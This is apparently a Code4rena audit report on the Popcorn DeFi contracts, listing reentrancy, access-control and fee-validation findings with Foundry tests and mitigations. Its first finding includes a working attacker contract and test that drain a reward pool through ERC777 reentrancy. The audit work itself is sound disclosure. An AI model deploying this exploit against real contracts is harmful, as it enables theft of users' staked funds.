Popcorn contest - aashar's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L170

Vulnerability details

Impact

The reward pool can be drained if ERC777-compatible tokens are used since they have a callback which attackers can utilize.

Proof of Concept

Below is the code that is used in MultiRewardStaking.sol

function claimRewards(address user, IERC20[] memory _rewardTokens) external accrueRewards(msg.sender, user) {
    
        // CODE

        _rewardTokens[i].transfer(user, rewardAmount);

       // MORE CODE

      accruedRewards[user][_rewardTokens[i]] = 0;

  }

As we can, claimRewards() first transfers the token and then updates the state. Here is the attacker contract that I used

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "openzeppelin-contracts/token/ERC777/IERC777Recipient.sol";
import {IERC20Upgradeable as IERC20} from "openzeppelin-contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "openzeppelin-contracts/interfaces/IERC1820Registry.sol";
import "forge-std/console.sol";
import { MultiRewardStaking } from "./utils/MultiRewardStaking.sol";

contract Attacker is IERC777Recipient{
    IERC20 public immutable stakingToken;
    MultiRewardStaking public immutable staking;
    IERC20[] public rewardsTokenKeys;
    uint256 reenter;

    IERC1820Registry private erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);

    constructor(address _stakingToken, address _staking, IERC20[] memory _rewardsTokenKeys){
        rewardsTokenKeys = _rewardsTokenKeys;
        stakingToken = IERC20(_stakingToken);
        staking = MultiRewardStaking(_staking);
        erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
    }

    function depositFirst() public{
        stakingToken.approve(address(staking), 5 ether);
        staking.deposit(1 ether);
    }

    function attack() public{
        staking.claimRewards(address(this), rewardsTokenKeys);
    }

    function tokensReceived(
        address,
        address,
        address,
        uint256,
        bytes calldata,
        bytes calldata
    ) external override {
        reenter++;
        if(reenter < 10){
            staking.claimRewards(address(this), rewardsTokenKeys);
        }
    }

}

And here is how I tested the attack

function test__accrual_on_attack_claim() public {
    // Preparing a Mock ERC777 Token
    address[] memory defaultOperators = new address[](0);
    rewardToken3 = new MockERC777(defaultOperators, 100 * 10**18, hacker);
    iRewardToken3 = IERC20(address(rewardToken3));
    
    IERC20[] memory rewardsTokenKeys = new IERC20[](1);
    rewardsTokenKeys[0] = iRewardToken3;

    // Deploying an attacker contract
    attackerContract = new Attacker(address(stakingToken), address(staking), rewardsTokenKeys);

    // adding the reward token to the contract. 10 * 10*18 tokens were added to the contract as reward tokens
    _addRewardToken777(rewardToken3);
    assertEq(iRewardToken3.balanceOf(address(staking)), 10 ether);
    // minting some tokens for depositing
    stakingToken.mint(address(attackerContract), 5 ether);

    uint256 rewardBalanceOfAttackerBefore = iRewardToken3.balanceOf(address(attackerContract));
    // hacker calls the deposit function and deposits some stakingTokens
    vm.startPrank(hacker);
    attackerContract.depositFirst();
    // 10% of rewards paid out
    vm.warp(block.timestamp + 10);

    // Then calls the attack after some time period to claim the rewards
    attackerContract.attack();

    // After the attack, the entire 10*10**18 tokens were drained from the contract
    uint256 rewardBalanceOfAttackerAfter = iRewardToken3.balanceOf(address(attackerContract));
    assertEq(rewardBalanceOfAttackerBefore + 10 ether, rewardBalanceOfAttackerAfter);
    assertEq(iRewardToken3.balanceOf(address(staking)), 0);

  }

To run the test just use forge test --no-match-contract 'Abstract' --match-test test__accrual_on_attack_claim -vv --rpc-url <ETH_RPC_URL>

Tools Used

Foundry

Recommended Mitigation Steps

Adding openzeppelin's reentrancy guard is the easiest and safest way to prevent such an attack.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/DeploymentController.sol#L121

Vulnerability details

Impact

nominateNewDependencyOwner() cannot be called since the owner is VaultController and it doesn't have any implementations in place for this.

Proof of Concept

As you can see from the code below, it has the onlyOwner modifier which limits its call to only VaultController via the admin proxy.

function nominateNewDependencyOwner(address _owner) external onlyOwner {
    IOwned(address(cloneFactory)).nominateNewOwner(_owner);
    IOwned(address(cloneRegistry)).nominateNewOwner(_owner);
    IOwned(address(templateRegistry)).nominateNewOwner(_owner);
  }

However, this nominateNewDependencyOwner() function is not being called anywhere in the VaultController.sol. And therefore it cannot be called from AdminProxy. Here's a test for the same:

function test__nominateDependencyOwner_by_not_vaultController() public {
        deploymentController = IDeploymentController(
            address(
                new DeploymentController(
                    address(controller), // vault controller
                    factory,
                    cloneRegistry,
                    templateRegistry
                )
            )
        );
        vm.expectRevert();
        deploymentController.nominateNewDependencyOwner(address(0x2222));
    }

Tools Used

Manual, Foundry

Recommended Mitigation Steps

Add a function in VaultController.sol that calls the nominateNewDependencyOwner function so that it can be called via AdminProxy.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L57

Vulnerability details

Impact

The vault owner can charge any fees when initializing. Because of this a lot of problems can occur

1. If the fees are set at 1e18, the withdraw function won't work as it will cause division by 0 error.
2. If all the fees are set beyond 1e18, many of the functions won't work due to arithmetic overflow.

Proof of Concept

Below is the code where the fees can be set to anything during the initialization

function initialize(
        IERC20 asset_,
        IERC4626 adapter_,
        VaultFees calldata fees_,
        address feeRecipient_,
        address owner
    ) external initializer {
       //code
        fees = fees_;
      // code

Here is a test to confirm the same

function test_Vault_any_Fees() public{
    address vaultAddress1 = address(new Vault());
    Vault vault1;
    vault1 = Vault(vaultAddress1);
    vault1.initialize(
      IERC20(address(asset)),
      IERC4626(address(adapter)),
      VaultFees({ deposit: 2e18, withdrawal: 2e18, management: 2e18, performance: 2e18 }),
      feeRecipient,
      address(this)
    );
  }

Tools Used

Manual review, Foundry tests

Recommended Mitigation Steps

Add a revert statement like this

if (
            newFees.deposit >= 1e18 ||
            newFees.withdrawal >= 1e18 ||
            newFees.management >= 1e18 ||
            newFees.performance >= 1e18
        ) revert InvalidVaultFees();

Low Risk Findings

1. Category check is needed when toggling template endorsement, In TemplateRegistry.sol - Line 102. Template category is not checked if it exists or not. And due to this a small mistake toggle some other nonExisting template https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/TemplateRegistry.sol#L102

Here is a test to demonstrate it:

    bytes32 templateCategory1 = "templateCategory1";
    ClonableWithInitData clonableWithInitData = new ClonableWithInitData();
    registry.addTemplateCategory(templateCategory);
    registry.addTemplate(
      templateCategory,
      templateId,
      Template({
        implementation: address(clonableWithInitData),
        endorsed: false,
        metadataCid: metadataCid,
        requiresInitData: true,
        registry: address(0x2222),
        requiredSigs: reqSigs
      })
    );

    vm.expectEmit(true, true, true, false, address(registry));
    emit TemplateEndorsementToggled(templateCategory, templateId, false, true);

    registry.toggleTemplateEndorsement(templateCategory1, templateId);

    Template memory template = registry.getTemplate(templateCategory, templateId);
    assertFalse(template.endorsed);
    template = registry.getTemplate(templateCategory1, templateId);
    assertTrue(template.endorsed);
  }

2. Missing call to __ReentrancyGuard_init() in Vault.sol - https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L57

3. Missing call to __Pausable_init() in Vault.sol - https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L57

4. Function _totalAssets shadows an existing declaration L258 and L388 - https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L258 and https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L388

5. changeFees() can be called by anyone because it does not have the onlyOwner modifier - https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L540

6. Modifiers are being used to make state changes and call other functions a. https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L480 b. https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L496 c. https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L371 d. https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L559

Non-Critical Findings

1. Unused variable vault in _registerVault (L390)
2. Code readability is poor. Consider writing the code in order with initializing and declaring all state variables first and then writing the function logic.